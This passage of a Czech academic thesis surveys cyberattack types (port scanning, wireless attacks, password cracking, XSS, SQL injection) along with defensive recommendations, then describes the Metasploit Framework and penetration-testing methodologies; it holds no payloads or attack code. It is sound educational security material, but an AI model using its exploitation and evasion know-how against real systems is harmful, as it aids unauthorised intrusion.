e Moznosti - Odposlech, presmérovani a Uprava komunikace, vyneseni informaci,

e Doporuceni - Staci dbat na bezpecnost webovych stranek a pouzivat na svych
zafizenich Sifrovani, atokim MITM lze zabranit protokolem HTTP Strict Transport
Security (HSTS), také je dobré se vyvarovat vefejnym wi-fi sitim.

1.5.4 Skenovani port(

Skenovani portl (Port Scanning) je technika, ktera se pouZiva pro zjisténi otevienych portd.
Funguje tak, ze odesila sitové pakety na rizné porty cilového zafizeni a podle odpovédi zjisti,
zda je port otevieny (reaguje na dotaz a je aktivni), uzavreny (zafizeni odpovi, Ze port neni
otevren) a filtrovan (port neodpovida, mizZe byt blokovan firewallem). Na otevieném portu
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je aktivni, Cili poslouchd néjaky spustény program i sluzbu. CoZz znamend , Ze dana sluzba
na zafizeni je dostupna zvenci a mulZe pfijimat poZadavky. Naopak uzavieny port je port,
na kterém nejsou zadné programy, sluzby ¢i daemony spustény. S vétsim poctem dostupnych
otevirenych porttl se da zanalyzovat vice konkrétnéjsich informaci o cilovém zafizeni. Sikovny
hacker mlzZe pomoci nastrojl po skenovani portli pomérné snadno nalézt v pocitacové siti
provozované sluzby, diky kterym je tak schopen identifikovat tu nejvétsi zranitelnost v siti,
tu poté muze zneuZit pro cileny utok k nalezeni zplisobu priniku do systému (exploit). Pokud
je vsak spravné nakonfigurovany firewall nemusi se tak podafit hackerovi zjistit stav portQ.
Porty slouzi jako vstup pro jednotlivé sluzby béZici na zafizeni. Kazidy port (Cislovany
od 0 do 65535) je pfifazen urcitému protokolu nebo programu. Naptiklad port 80 HTTP
(webovy provoz), port 443 HTTPS (Sifrovany webovy provoz), port 22 SSH (vzdalend sprava
serverll) a podobné. Existuje nékolik riznych typl skenovani. TCP Scanning (klasické spojeni
pfes TCP handshake, je snadno detekovatelné), SYN Scanning (polovi¢ni handshake, rychlé
a nenapadné, pouzivané pfi penetracnich testech), UDP Scanning (sloZitéjsi, UDP nema
potvrzovaci mechanismus, pomalejsi a méné presné), ACK scanning (Ize zjistit pouze je-li port
filtrovany nebo nefiltrovany, neuréime otevieny nebo uzavieny port, dobré k zjistovani
firewallu). V redlném svété je port scanning casto prvnim krokem utoku. Zaroven je ale
i béZnou obrannou technikou (Port Scanning (Skenovani port(), 2025).

e Kategorie - Skenovani portu a sluzeb,

e Moznosti - Zjisténi stavu portll a sluZeb, vyhledavani zranitelnosti k praniku,

o Doporuceni - PouZit firewall blokujici nevyzadané pfichozi pakety a odpovida
minimalné, aktivovat IDS/IPS (dokaZe detekovat a omezit podezielé skeny), povolit
pouze nezbytné porty a ostatni uzavfit nebo filtrovat, skryvat sluzby za VPN (nebudou
tak dostupné z vefejného internetu) ¢i omezit pfistup pomoci ACL a povolit tak jen
konkrétni IP adresy.

1.5.5 Bezdratové utoky

Bezdratové sité predstavuji dnes jeden z nejrozsirenéjsich zplsobl pfipojeni kinternetu.
PouZzivaji k pfenosu dat radiové viny s presné danymi frekvencemi (napftiklad 2,4 GHz ¢i 5 GHz).
Pristupovy bod (Access Point neboli AP) vysild signal v urcité frekvenci a klientska zafizeni
se knému pfipojuji. Zafizeni si mezi sebou vyménuji rGzné informace a data a jejich
komunikace probihd prostfednictvim radiovych vin (viny jsou modulovany a pfijimany
routerem). Zafizeni, ktera tvofi bezdratovou sit, jsou kompatibilni se standardy IEEE 802.11.
Radiové protokoly rodiny 802.11 funguji v pasmu volného pfistupu, coZ znamen3, Ze se signal
Siti vSemi sméry a na danou frekvenci se mulzZe pfipojit kdokoliv v dosahu i bez pouziti
specialnich nastroji. Pravé otevienost radiového prostiedi je hlavnim dlvodem, proc jsou
bezdratové sité tak zranitelné. S nastupem prdmyslu 4.0 a Internet of Things se podty zafizeni
schopnych se pfripojit k bezdratové siti rapidné zvySuji. Klasické dratové pripojeni
ethernetovym kabelem je v dnesni dobé na uUstupu, je mozné se dokonce setkat s pocitaci
¢i notebooky bez moznosti pfipojeni RJ-45 konektorem ethernetového kabelu. Oblibenost
a pocet bezdratovych siti se odrazili i na mnozstvi Utokl. Nejcastéjsimi typy utokl jsou utoky
na hesla, na zastaralé protokoly WEP ¢ WPA/WPA2, Utoky na WPS, Rogue Access Point
(falesSny pristupovy bod) nebo Evil Twin (zdmérné vytvorena kopie legitimni sité) a dalsi.

36



Vysoka skola polytechnicka Jihlava

Nejcastéji pouzivanym nastrojem v oboru je Aircrack-ng a automatizacni skripty jako Wifite2
nebo WEF (Typy utokl na Wi-Fi, 2023).

e Kategorie - Bezdratové utoky,

e Moznosti - Odposlech, zachytavani handshake paketl, vytvareni falesnych AP,

e Doporuceni - Silnd hesla delsi nez 15 znak(, zakdzat WPS v nastaveni routeru,
pravidelné ménit a zpfisnovat hesla, pouzivat Sifrovani WPA3, ptipadné WPA2-PSK
se silnym heslem, aktualizovat firmware pristupovych bod( a routerl nebo omezit
dosah signdlu tak, aby nepresahoval zbytecné mimo objekt.

1.5.6 Prolomeni hesla

Utoky na hesla mifi na nejrGznéjsi uZivatelskd hesla uZivatelskych G¢td s cilem dostat
se k informacim uZivatele. Jedna se o jeden z nejcastéjSich utokl kyberkriminality a zaroven
jeden z nejcastéjsich Gtokd na zaméstnance pomoci socidlniho inZenyrstvi. Lidé by méli mit
silna hesla, nikomu je nesdélovat a casto je ménit (10 nejcastéjsich typl kybernetickych utokd,
2022). Existuji rGzné typy utokd na hesla, Utoky s pouZitim hrubé sily (program zkousi rlizné
sady znak(), slovnikové Gtoky a dal3i. Uto¢nik ma k dispozici celou fadu nastrojd a zpdsobd
véetné metod socidlniho inZenyrstvi. Keylogger je program uréeny k uUtoku, kdy se utocnik
pomoci specidlniho softwaru pokusi sejmout udery prstd na klavesnici, respektive vydcist
z klavesnice pouzité znaky (10 typl kybernetickych atok(, o kterych byste méli védét v roce
2022 a rady, jak jim zabranit, 2022).

e Kategorie - Utoky na autentizaci,

e Moznosti - Pristup k uctim, informacim a osobnim tdajim, jednani za uZivatele,

e Doporuceni - Hesla casto aktualizovat, pouzivat silna alfanumerickd hesla
se specidlnimi znaky, neopakovat stejné heslo pro vice uZivatelskych Gétl, na kazdy
ucet jiné heslo.

1.5.7 Skenovani web(

Nastroje, urcené ke skenovani webl, funguji jako interceptujici proxy, coZz znamena, Ze se vlozi
mezi prohlize¢ a server a umozni zachytadvat, upravovat a znovu odesilat HTTP ¢i HTTPS
pozadavky. Diky tomu Ize sledovat, jak aplikace pracuje s uZivatelskymi vstupy, jaké parametry
pfijima a jak reaguje na nestandardni nebo Skodlivé vstupy. Soucasti skenovani je také
automatizované prochazeni aplikace, neboli crawling, pfi kterém nastroj zkouma vsechny
dostupné stranky. Provadi se aktivni testovani, kdy se zkousi rlizné typy utokd jako jsou
injection, manipulace s cookies, testovani hesel nebo konfigurace serveru. Jedna
se o kombinaci pasivni analyzy, ktera sleduje provoz a hleda podezielé prvky a aktivni analyzy,
ktera zasahuje do komunikace a testuje reakce aplikace. Proxy vrstva umozniuje testerovi ru¢né
upravovat pozadavky, ménit parametry, zkouset rGzné payloady a ovérovat, zda aplikace
spravneé filtruje vstupy nebo zda nevraci citlivé informace. (Microsoft Copilot: vas Al pomocnik,
2025).

e Kategorie - Skenovani webd,
e Moznosti - Odhaleni zranitelnosti a konfigurace serveru, obchazeni opravnéni,
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e Doporuceni - Zachovani spravného formatu na vstupu a odstranéni nebezpecnych
znakl nebo kédu, nastaveni spravné konfigurace serveru a omezeni informaci, webové
aplikace je také nutné cCasto aktualizovat, ddle pouzivat silnd hesla a chranit session
cookies.

1.5.8 Cross-Site Scripting

Cilem Cross-Site Scripting (XSS) je utok vloZenim Skodlivého skriptu do zdrojového kddu
webové stranky ¢i aplikace, diky neoSetfenému vstupu vyvojdfi, bud pfimo na server nebo
prostfednictvim odkazu. Ve své podstaté je XSS velmi podobny SQL Injection. KdyZ si uZivatel
stranku nacte, prohlize¢ skript spusti. Prohlize¢ nepozna, Ze nepochazi od legitimniho webu.
Po nacteni webové stranky mulze atocnik stranku pozménit s cilem ziskat citlivé osobni
informace uZivatele nebo se dokonce za uZivatele i vyddvat. BéZny uzivatel nema Sanci
si vS§imnout Skodlivého kddu ve zdrojovém kédu webové stranky Ci aplikace. Nejnachylnéjsi
k atokdm XSS jsou fora, blogy a podobné ¢ili weby umoziujici uZivateli pridat viastni obsah.
MozZnym nasazenim internich aplikaci pres internet nebo cloudovych sluzeb se Utoku nevyhnou
ani velké organizace (Microsoft Copilot: vas Al pomocnik, 2025).

e Kategorie - Utoky na webové aplikace,

e Moznosti - KrddezZ cookies a identity, presmérovani ¢i Uprava stranek,

e Doporuceni - Escapovani vystupu zajisti bezpecné zakddovani uzivatelského vstupu,
Content Security Policy (CSP) omezuje spousténi neautorizovanych skriptl, HttpOnly
cookies zabrani tomu, aby JavaScript mohl ziskat pfistup k udajam uZivatele.

1.5.9 SQL Injection

SQL (Structured Query Language) je dotazovaci jazyk, ktery se pouZziva pfi spravé databazi. SQL
Injection znamena vlozit Skodlivy kod na databazovy server webové sluzby pomoci jazyka SQL
a databazovy server kéd (dotaz) vykona, také je mozné vlozZit skodlivy kod do vyhledavaciho
pole webové stranky. Skodlivy kéd se obvykle napise a vykond do formulafe nebo
do vyhledavaciho pole webové stranky diky programatorsky neosetrenému vstupu. Velice
podobné funguje i XSS utok (Nejc¢astéjsi typy kybernetickych utokd, 2023). SQL dotaz
databazovy server provede a vytvofi, precte, upravi nebo odstrani data uloZena v databazi (10
nejcastéjsich typl kybernetickych utokd, 2022). V horsim pripadé je Utocnik schopen prevzit
kontrolu (ziskat administrativni prava) nad celym serverem a ziskat pristup k datlim &i vynést
d@vérné informace. Utoénici Gtodi zejména na databaze uchovavajici osobni Udaje, citliva data
uzivatel( a cisla bankovnich karet. SQL Injection je svoji jednoduchosti a rychlosti jednou
z nejpopuldrnéjsich metod jak vyuzit zranitelnosti systému, o tom hovofi i statistiky.
42 % pokuslli o utoky na verejné systémy byli zaloZzené na SQL Injection (10 typl
kybernetickych utokd, o kterych byste méli védét v roce 2022 a rady, jak jim zabranit, 2022).

e Kategorie - Utoky na webové aplikace,

e Moznosti - Ziskani dat ¢i administratorskych prav, Uprava a mazani zaznamd,

o Doporuceni - Lze pouzit systém detekce naruseni (je navrien k neopravnéného
pfistupu k siti), na webové sluzbé Ize provést ovéreni dat zadanych uZivatelem neboli
oSetfit vstupy.
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1.5.10 Dalsi techniky

Ve svéte kybernetickych Utok( existuje mnoho dalsich Utoénych technik. Internet poskytuje
mnoho zdroji zabyvajici se informacemi o kybernetickych Utocich. Mezi dals$i znamé techniky
Ize zafadit (Microsoft Copilot: vas Al pomocnik, 2025):

e Adware — nevyzddané reklamy a sledovani chovani,

e ARP Spoofing / ARP Poisoning — podvrzeni ARP odpovédi v lokalni siti,

e Brute force APl — opakované pokusy o pfistup k rozhranim,

e Clickjacking — skryté presmérovani kliknuti na jiny prvek,

e DNS spoofing / poisoning — podvrzeni DNS odpovédi,

e DoS - utok z jednoho zdroje, ktery pretizi sluzbu,

e DDoS - zahlceni sluzby masivnim mnoZstvim provozu,

e Drive-by download — automatické stazeni malware pfi navstévé stranky,

e Email spoofing — falSovani odesilatele e-mailu,

e File Inclusion (LFI/RFI) — nacteni Skodlivého souboru do aplikace,

e HTTP Request Smuggling — manipulace s HTTP hlavickami mezi proxy a serverem,
e HTTP Response Splitting — vloZeni Skodlivé odpovédi rozdélenim HTTP hlavicek,
e ICMP Flood — zahlceni cile ICMP echo poZadavky,

e Insider attack — Utoky provedené zaméstnancem nebo osobou s pfistupem,
o Keylogger — zaznamenavani stisk( klaves,

e Malware — Skodlivy software obecné,

e Phishing — podvodné ziskavani udajli pomoci falesSnych zprav,

e Ransomware — zasifrovani dat a poZadavek vykupného,

e Rootkit — skryti pfitomnosti uto¢nika v systému,

e Session hijacking — prevzeti aktivni relace uZivatele,

e Smishing — phishing prostfednictvim SMS,

e Spyware — skryté sledovani uZivatele a sbér dat,

e Supply-chain attacks — napadeni dodavatelského retézce,

e SYN Flood — zahlceni serveru netplnymi TCP handshaky,

e Trojan — Skodlivy kéd maskovany jako legitimni program,

e UDP Flood — zaplaveni cile velkym mnozstvim UDP paketd,

e Vishing — phishing pomoci telefonnich hovort,

e Watering hole — infikovani webu, ktery obét ¢asto navstévuje,

e Whaling — phishing zaméreny na vedeni firmy,

e Worm —samostatné se Sifici malware bez interakce uzivatele,

® Zero-day attack — zneuziti dosud neopravené zranitelnosti.

1.6 Metasploit Framework

Projekt Metasploit je projektem pocitacové bezpecnosti, ktery poskytuje informace
o bezpecnostnich zranitelnostech a pomahd pti penetracnim testovani. Projekt vytvofril
H. D. Moore v roce 2003 jako pfenosny sitovy nastroj zalozeny na Perlu. V roce 2007 byl
prepsan v Ruby. V roce 2009 byl projekt Metasploit koupen spole¢nosti Rapid7. Jeho
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nejzndméjsim podprojektem je open-source Framework Metasploit, moduldrni platforma,
kterd umoZiuje psat, testovat a spoustét exploit kody. Exploit kédy Ize vytvofit nebo je Ize
prevzit z databdze obsahujici nejnovéjsi dostupné a modularni exploity. Metasploit nyni
zahrnuje vice jak 1677 exploitl na 25 platformach, véetné Androidu, PHP, Pythonu, Javy, Cisco
a dalsich. Framework také obsahuje témér 500 payload. Stadi ziskat informace o cili pomoci
skenovani portl nebo skenovani zranitelnosti a najit tak cestu do sité. Pak uz jde jen o vybér
spravného ndstroje, exploitu nebo payloadu. Metasploit poskytuje exploity, payloady,
pomocné funkce, enkodéry, posluchace, shellcode, post-exploitacni kéd a nops. Framework
Metasploit ma schopnost ukoncit praci bez detekce (A step-by-step guide to the Metasploit
Framework, 2024).

Framework Metasploit obsahuje sadu nastrojl, které lze vyuZit k testovani bezpecnostnich
zranitelnosti, siti, provadéni atok( a vyhybani se detekci. Nékteré nastroje jsou jiz zabudované
pfimo ve Frameworku. V jadru je Metasploit Framework platforma bézné pouZivanych
nastroju, které poskytuji kompletni prostfedi pro penetracni testovani a vyvoj exploitl.
Framework je v informatice oznaceni pro ramec, neboli kostru, kterd jiz poskytuje nastroje,
knihovny, moduly, rozhrani a pluginy, aby se s nimi dalo rychleji pracovat a jednoduseji tak
néco vyvijet. Lze si jej predstavit jako balicek komponent, které pfipravi uzivateli zazemi pro
praci (Microsoft Copilot: va$ Al pomocnik, 2025).

Konzole Metasploit Framework (MSFConsole) je nejoblibenéjsim prikazovym rozhranim pro
pfistup a praci s Metasploit Framework (MSF). Poskytuje vSe v jednom a umozZiiuje pfistup
ke vSem mozZnostem dostupnym v MSF. MSFConsole umoznuje napfiklad skenovat cile,
vyuzivat zranitelnosti a sbirat data. Pro spusténi MSFConsole slouZi pfikaz ./msfconsole,
pripadné se musi instalovat bali¢ek prikazem bundle install a poté poufzit pfikaz ./msfconsole
(Metasploit Framework, 2025).

Stejné jako mnoho dalSich open-source nastrojli v informatice Ize i Metasploit vyuZit
k nelegalnim c¢innostem. Je kompatibilni s mnoha operacnimi systémy a v nékterych
je i predinstalovany. V Kali Linux je ptfimo zabudovany. Od akvizice Metasploit Frameworku
pridal Rapid7 otevienou proprietdrni, komercéni, edici nazvanou Metasploit Pro s plnou
automatizaci a pokrocilymi funkcemi. Metasploit Framework se stal hlavnim ndstrojem pro
VyVoj a zmirnovani zneuziti (A step-by-step guide to the Metasploit Framework, 2024).

1.6.1 Architektura Metasploit

Framework Metasploit ma svou architekturu, kterd se sklddad z casti jako jsou rozhrani,
knihovny, moduly, nastroje a pluginy, které spolu navzajem spolupracuji a nabizeji tak
komplexni platformu pro penetracni testovani (What is Metasploit?, 2025).

e Moduly — moduly Metasploit jsou predpfipravené skripty s konkrétnim udcelem
a funkcemi, které jiz byly vyvinuty a otestovany. Jsou organizovany do rdznych typQ,
véetné pomocnych exploitd a payloadd. Slouzi k provadéni ukoll jako skenovani
a zneuzivani cild. Existuje nékolik hlavnich typd moduld, jako jsou payloady (shellkddy
odeslany s exploitem béZici po infiltraci na cilovém operacénim systému tak, aby
usnadnili navazat zpétné spojeni), exploity (pfikazy nebo kddy vyuzivajici zranitelnosti
systému), posty (post-exploity umoznujici provadét hlubsi sbér informaci a dale
pronikat do systému po zneuZiti), enkodéry (zakryvaji payloady béhem pfFenosu,
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zajistuji Uspésné dorucéeni do cilového systému bez detekce antivirovym softwarem),
NOP (vytvareji ndhodné sekvence bajtl a udrzuji velikost zatiZzeni pfi pokusu o exploit,
aby obesly systémy detekce), auxiliaries (pomocné moduly zahrnuji skenovani
zranitelnosti a portd, fuzzery, sniffery) a dalsi moduly,

e Rozhrani - rozhrani jsou rlGzné platformy, pres které mohou uZivatelé pristupovat
k Metasploit Frameworku. K dispozici jsou celkem ¢tyfi rozhrani. MSFConsole
(nejpouzivanéjsi rozhrani, konzole umoZiujici pfistup prostiednictvim pfikazového
radku), MSFWeb (rozhrani zaloZzené na prohliZeci), Armitage (rozhrani zalozené na Javé
s GUI) a RPC (vzdaleny hovor, umoznujici uZivatellm programové fidit Metasploit
Framework pomoci HTTP zaloZenych vzdalenych procedur volani),

e Knihovny - obsahuji razné funkce Metasploit Frameworku umoZnujici uzivatelim
spoustét exploity bez nutnosti psani dalSiho kddu. Existuji celkem tfi knihovny. REX
(umoznuje vétsinu zakladnich ukol(), MSFCore (poskytuje spoleéné API), MSFBase
(poskytuje uzivatelsky privétivé API),

e Nastroje a pluginy - doplnky k Frameworku Metasploit, které rozsituji jeho funkénost.

Metasploit Framework Architecture

Libraries Interfaces

GUI & Armitage
Plugins ————— MSF Base

Modules

Exploit Bk “

Obr. 5: Architektura Metasploit Framework
Zdroj: What is Metasploit? (2025)

1.7 Penetracni testovani

PenetraCni testovani znamé také jako Pen Test neboli etické hackovani je testovani
bezpetnosti softwarovych i webovych aplikaci, sitové infrastruktury a internetovych sluzeb.
Testovani se provadi formou simulaci redlného Utoku jak zevnitf tak zvenci pomoci stejnych
nastroju a technik, které pouzivaji skute¢ni Utocnici. Jeho cilem neni vyresit bezpecnostni
problémy ale odhalit zranitelnosti a provéfit tak skute¢nou Uroven zabezpeceni. Vyslednym
cilem je zamezit ¢i zmirnit riziko zranitelnosti systému. Pen Test je schopen provéfit nejen

41



Vysoka skola polytechnicka Jihlava

technologickou ¢ast ale i organizacni, za pomoci socidlniho inZenyrstvi je schopen provéfit
zaméstnance. Jak se napfiklad zaméstnanec zachova pfi obdrieni podezielého emailu.
Vyhodnocenim testu je zadvérecnd zprdva s podrobnou analyzou systému, jeho zranitelnostech
zarazenych do stupnice dle rizikovosti a doporuceni vedouci k jejich eliminaci. Analyza
je provadéna z pohledu Utoc¢nika. Jednat se o mlzZe o celou fadu pochybeni, napfiklad slaba
hesla, polozapomenuté sluzby, phishing, oteviené porty, staré verze systému a podobné.
Penetracni testovani je nutné pro velké podniky s velkym mnozstvim dat jako jsou financni,
vojenské ¢i statni instituce kde se soustfeduji dalezité informace o klientech, hesla, zakazky
a ddvérna tajemstvi. Unik dat je pro instituce velmi nezadouci. Dillezité je penetraéni testovani
také pro prevenci ¢i pro jiz hacknuty systém, aby se zjistili pretrvavajici hrozby a rizika
(Penetracni testy infrastruktury sité, webovych aplikaci a internetovych sluzeb, 2025).

Na trhu je pomérné mnoho firem zabyvajici se penetrac¢nim testovdnim na objedndvku, mezi
nejcastéjsi oblasti Pen Testu patii (Penetracni testovani, 2025):

e Penetracni testovdni webovych aplikaci — testovani webovych stranek
¢i internetovych sluzeb,

e Externi penetracni test perimetru sité - Gtok na systém zvenci neboli pranik
z internetu do interni sité,

e Penetraéni testovani vnitini sité - Utok na interni sit z vnitfni sité, mozné zneuZiti dat
a udaju vlastnimi zaméstnanci, dodavateli ¢i partnery,

e Penetracni test wi-fi sité - provéreni bezdratové sité,
e Socialni inZenyrstvi - provéreni chovani a reakce zaméstnancd.

Dale firmy nabizeji penetracni testovani mobilnich aplikaci, kontrolu zdrojového kédu, testy loT
zafizeni, IT infrastruktury a jiné (Penetracni testovani, 2025). K penetracnim testlim pouZivaji
organizace oficidlni metodiky a testovani je rozdéleno do nékolika fazi.

1.7.1 Metody testovani

Mezi nejcastéjsi oficidlni metody pouzivané organizacemi pfi penetracnim testovanim jsou
metodiky OWASP, OSSTMM a PCI-DSS (Penetracni testovani, 2024). Metodiky funguji jako
strukturované postupy, podle kterych se penetracni test provadi. | kdyz kazda metodika ma
sv{j urcity ucel a zaméreni vSechny slouzi hlavné k tomu, aby postup mél jasné dané faze,
pravidla a vysledky. Zkratka aby test nebyl chaoticky. Postup pfi urcité metodice mize byt
napfiklad sbér informaci, analyza zranitelnosti, exploatace a zavérecna zprava. Zajistuji tak
strukturovanost krok( a zaroven slouzi k tomu, aby se na nic nezapomnélo. Rozdil jednotlivych
metodik je hlavné v jejich zaméreni. Opét jich existuje celd fada, zde je uvedeno par pfikladd
metodik penetrac¢niho testovani (Penetration Testing Methodology, 2025):
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Tab. 5: Vybrané metodiky penetracniho testovani

Ndzev Zkratka Popis
Metodika zamérena na testovani
OWASP Web Security Testing | webovych aplikaci. Obsahuje
WSTG Guide strukturovany seznam testl pro oblasti
webu.
Metodika zamérena na testovani
OWASP Mobile Security mobilnich aplikaci. Obsahuje postupy a
MSTG Testing Guide doporuceni pro zabezpecéeni mobilnich
aplikaci.
. . Popisuje komplexni cely proces Pen Testu
Penetration Testing L, o, .
PTES . rozdélenych do sedmi fazi, nastroje a
Execution Standart L
technické postupy.
Open Source Univerzalni metodika pro bezpecnost siti,
0SSTMM Security Testing SVSt?,m,ﬁ' proce.sﬁ i fyzické bezpelE’no?ti.
Methodology Vyuziva se pro infrastrukturu a sitové
Manual testy.
Standart pro organizace pracujici s
PCI-DSS Penetration Testing | platebnimi kartami. Testy se zaméruji
Guidance zejména na systémy zpracovavajici
platebni data.

Zdroj: Microsoft Copilot: vds Al pomocnik (2025)

Z metodik jsou nejznamé;jsi metodologie OWASP, které se dale mohou délit podle zaméreni.
Napriklad OWASP ASVS, OWASP Top 10, OWASP Mobile Top 10, OWASP SAMM
a dalsi (Microsoft Copilot: vas Al pomocnik, 2025). Metodiky vyse vyjmenované jsou

standardizované a normované, maji svlij pfesné dany postup. Jednotlivé kroky a postupy

metodik penetraéniho testovani jsou velmi podobné fazemi penetraéniho testovani.

Pre-
Engagement

Reporting / \ Modeling
Post-\ "/V

Exploitation

Recon

Threat

ulnerability
Analysis

Exploitation

Obr. 6: Sedm fazi penetracniho testovani metodologie PTES
Zdroj: Penetration Testing Methodology (2025)
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1.7.2 Faze testovani

V praxi se u riznych organizaci setkdvame s fazemi testovani, faze slouzi k tomu aby organizace
méla svlj predem dany postup od zacatku do konce. Zaroven je nabizi jako portfolio svych
sluzeb zdkaznikim. Faze v nejbéinéjsi a zakladni formé mohou byt (Penetracni testy
infrastruktury sité, webovych aplikaci a internetovych sluzeb, 2025):

e Planovani a pfiprava,

e Shérinformaci (Reconnaissance),

e Vyhodnoceni slabych mist (analyza zranitelnosti),

e VyuZiti slabin (ovéreni zranitelnosti neboli exploitace (Exploitation)),
e Provéreni ziskanych dat (post-exploitace (Post-Exploitation)),

e Vyhodnoceni a zavérecna zprava (report).

Takto vypadaji zakladni faze penetracniho testovani. Je moiné se setkat s jinym slovnim
oznacenim jednotlivé faze ale princip je stejny. Rozdil oproti metodikam penetracniho
testovani je v jejich dodrZzovani. Faze jsou proménné, organizace zabyvajici se penetracnim
testovanim na objednavku muizZe mezi faze penetracniho testovani pridat par krokd ¢i postupl
dle libosti a pak je predkladat zakaznikim. Faze penetracniho testovani jsou spise firemnim
procesem. Metody jsou vSak pfedem jasné dané, jejich kroky a postupy jsou neménné. Pokud
se organizace zavaze, Ze napriklad béhem testovani webové aplikace budou dodrzovat
metodiku OWASP WSTG, musi kroky a postupy metodiky dodriet. Je vSak moziné
ji zahrnout do vlastnich fazi penetracniho testovani jako jeden z krokl (Penetracni testovani,
2024).

Mezi nejdulezitéjsSimi fazemi kazdé objednavky penetracniho testu od jakékoliv organizace jsou
bezesporu implementace oprav zranitelnosti a retest. Zde je vSak také nutno podotknout,
Ze implementaci oprav zranitelnosti nezajistuje organice provadéjici penetracni testovani ale
klient. Organizace tak pouze c¢ekd na opravy analyzovanych zranitelnosti a poté nasleduje
retest. Jediné takto se ziskd komplexné zabezpeceny systém s napravenymi zranitelnostmi.
Od organizace provadéjici penetracni testovani je tak dobré pozadovat (Penetracni testovani,
2024):

e Penetracni test (faze penetracniho testu uvedené vyse),
e QOprava zranitelnosti na strané klienta,

e Retest,

e Aktualizované vyhodnoceni a zavérecna zprava (report).
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implementovanych oprav.

Obr. 7: Graficka ukazka faze testovani s pfidanou metodikou OWASP
Zdroj: Penetracni testovdni (2024)

1.7.3 Rezimy testovani

Penetraéni testovani simuluje redlny utok atoénikd na systém, pomoci stejnych technik
a nastrojl jako pouZivaji pfi Utoku skute¢ni utoénici. Utok (testovéani) se provadi ve tfech

formach podle skutecnych dispozic utocnikll. Tri formy reZimy testovani jsou (Penetracni
testovani, 2025):

Black box — Black box je rezim formy testovani z pohledu utoc¢nika, kdy utocnik
(penetracni tester) nemd zadné predchozi znalosti o cilené IT infrastrukture, hardwaru
nebo softwaru. ReZzim testovani Black box se snaZi co nejpresnéji napodobit rediny
Utok a je velice ¢asové néarocny. Ukolem je najit viechny zranitelnosti, nasimulovat
veskeré mozné utoky a najit veskeré zplsoby naruseni systému. Je vSak nutné byt
opatrny aby utocnik (penetracni tester) neposkodil samotny systém. Black box
je nejvice pouzivand forma reZzimu testovani a je nejpodobnéjsi klasickému
hackerskému Utoku. Pfi tomto rezimu testovani se jedna o externi Utok na systém,
utok z internetu na interni sit,

White box — White box je opakem Black box reZimu testovani. Uto¢nik ma k dispozici
veskeré materidly, znalosti i plny pfistup (véetné znalosti zdrojovych kédu, konfigurace
a architekture), které plné vyuzZivd k Utoku na systém ¢i na jeho ¢asti. Je plné
informovdn o tom jak systém funguje a zna jeho zabezpeceni. White box rezim
testovani se vétSinou v praxi provadi jesté pred spusténim systému ci software
do plného provozu ke zjisténi zranitelnosti a slouzi jako preventivni testovani. White
box rezim testovani lze ptirovnat k uUtoku dlouholetého zaméstnance a jednd se
o interni Utok zevnitf, z interni sité (respektive Utocnika nezajima jak by k systému
pristupoval zvenci),

Gray box — Gray box je kombinaci obou piedchozich rezimi testovani. Uto¢nik ma
k dispozici pouze urcité znalosti o cilené IT infrastrukture ¢i softwaru, které Ize uplatnit.
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M3 pouze castecné informace a nema Uplny pfistup k systému. Gray box rezim
testovani je zaméren vétSinou na jeden jediny cil, ke kterému ma utocnik pouze
omezené informace. Testy se provadi bez nutnosti odstavky systému. Pfikladem muze
byt uto¢nikQv pfistup k interni siti organizace ale zaroven naprostda neznalost
konfigurace serverl. Jeho Ukolem je proniknout dal do systému pres otevieny port
¢i jinak. ReZim Gray box lze pfirovnat k Utoku byvalého zaméstnance.

1.7.4 Zranitelnosti

Zranitelnost je v odbornych zdrojich definovana jako slabé misto v systému, postupech
zabezpeceni systému, vnitfnich kontrolach nebo implementaci, kterd by mohla byt zneuzita.
Pripadné teoretické zneuZiti zranitelnosti se stdva hrozbou pro systém. MlzZe se nachazet
nejen v software, v hardware ale i v lidech, ktefi jsou soucdsti informacéniho systému. Lidsky
faktor nese velky podil na celkové zranitelnosti systému, nedostatecné povédomi
o kybernetické bezpecnosti se Casto stdva tercem utokud. Oblasti Gtoku v oboru socialniho
inZenyrstvi je mnoho od phishingu, socidlnich médii, hesel ¢i e-mailG. Mezi dalsi nejéastéjsi
zranitelnosti systému se radi implementacni chyba v kdédu, diky které je schopen utocnik
narusit systém, ziskat pristup ¢i data. Chyba v kédu je obvykle implementovana v software
béhem vyvoje jako programatorska chyba. Samoziejmé bez umysiné implementace vyvojafi.
Specialnim pfipadem zranitelnosti je pojem zranitelnost nultého dne. Pojem zranitelnost
nultého dne se pouZivd pro neznamou zranitelnost a neexistuje pro ni zaplata nebo ochrana.
Utok, zneuZivajici zranitelnost nultého dne se oznaduje jako Utok nultého dne. Pro Utok
nultého dne neni obrany, vétsSinou se na ni prijde az kdyzZ je pozdé (Microsoft Copilot: vas Al
pomocnik, 2025).

Jednotlivé zranitelnosti se déli podle stupné zavaZnosti, pro které se pouzivd hodnoceni
zranitelnosti. Od Zadné, nizké, stfedni, vysoké az po kritickou zranitelnost. Mezi praktické
pfiklady zranitelnosti mohou byt slaba hesla, nezabezpecené konfigurace serverll, oteviené
porty, Spatné nastavené firewally, zastaralé software i protokoly a jiné. Typickd ukazka
zranitelnosti mlze byt naptiklad neosetieni vstupu vyvojafrem v databazi, kde ve formulafi,
vyhledavacim poli ¢i URL odkazu se vlozi skodlivy SQL kdd. Kéd se vykona na databazovém
serveru a utocnik ziska pristup k datim nebo je mlze zménit (Microsoft Copilot: vas Al
pomocnik, 2025). Veskeré zranitelnosti jsou schopni Utocnici maximalné vytéZit a dostat se tak
do systémua. Pokud je konkrétni zranitelnost zneuZita cilené, opakované a automatizované, pak
se zneuziti oznacuje jako exploit. Exploit je specidlni automatizovany kéd Cili program, skript
nebo technika vyuZivajici cilené konkrétni zranitelnost a cilem je ziskat pfistup, obejit
bezpecénostni opatteni a podobné. Pokud zranitelnost existuje a je teoretickd moznost, Ze bude
zneutzita, pak zmifovanou moznost oznacujeme hrozbou.

1.7.5 Hrozby a rizika

Hrozba je okolnost ¢i udalost, kterd je schopna zpUsobit skodu organizaci napfiklad ovlivnénim
organizacnich operaci, systéml nebo jednotlivcl prostfednictvim informacniho systému.
Hrozba predstavuje potenciondlniho Utocnika nebo udalost, kterd muZe zneuZit slabinu
v systému (zranitelnost). Z praktického hlediska lze uvést napfiklad hackera, ktery se pokousi
dostat do sité, malware nebo phishing potenciondlné se pokousejici vyuzit slabinu v systému
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avsak slabina jesté neni vyuzita. Existuje pouze hrozba, ze bude vyuZita. Hrozba neznamena
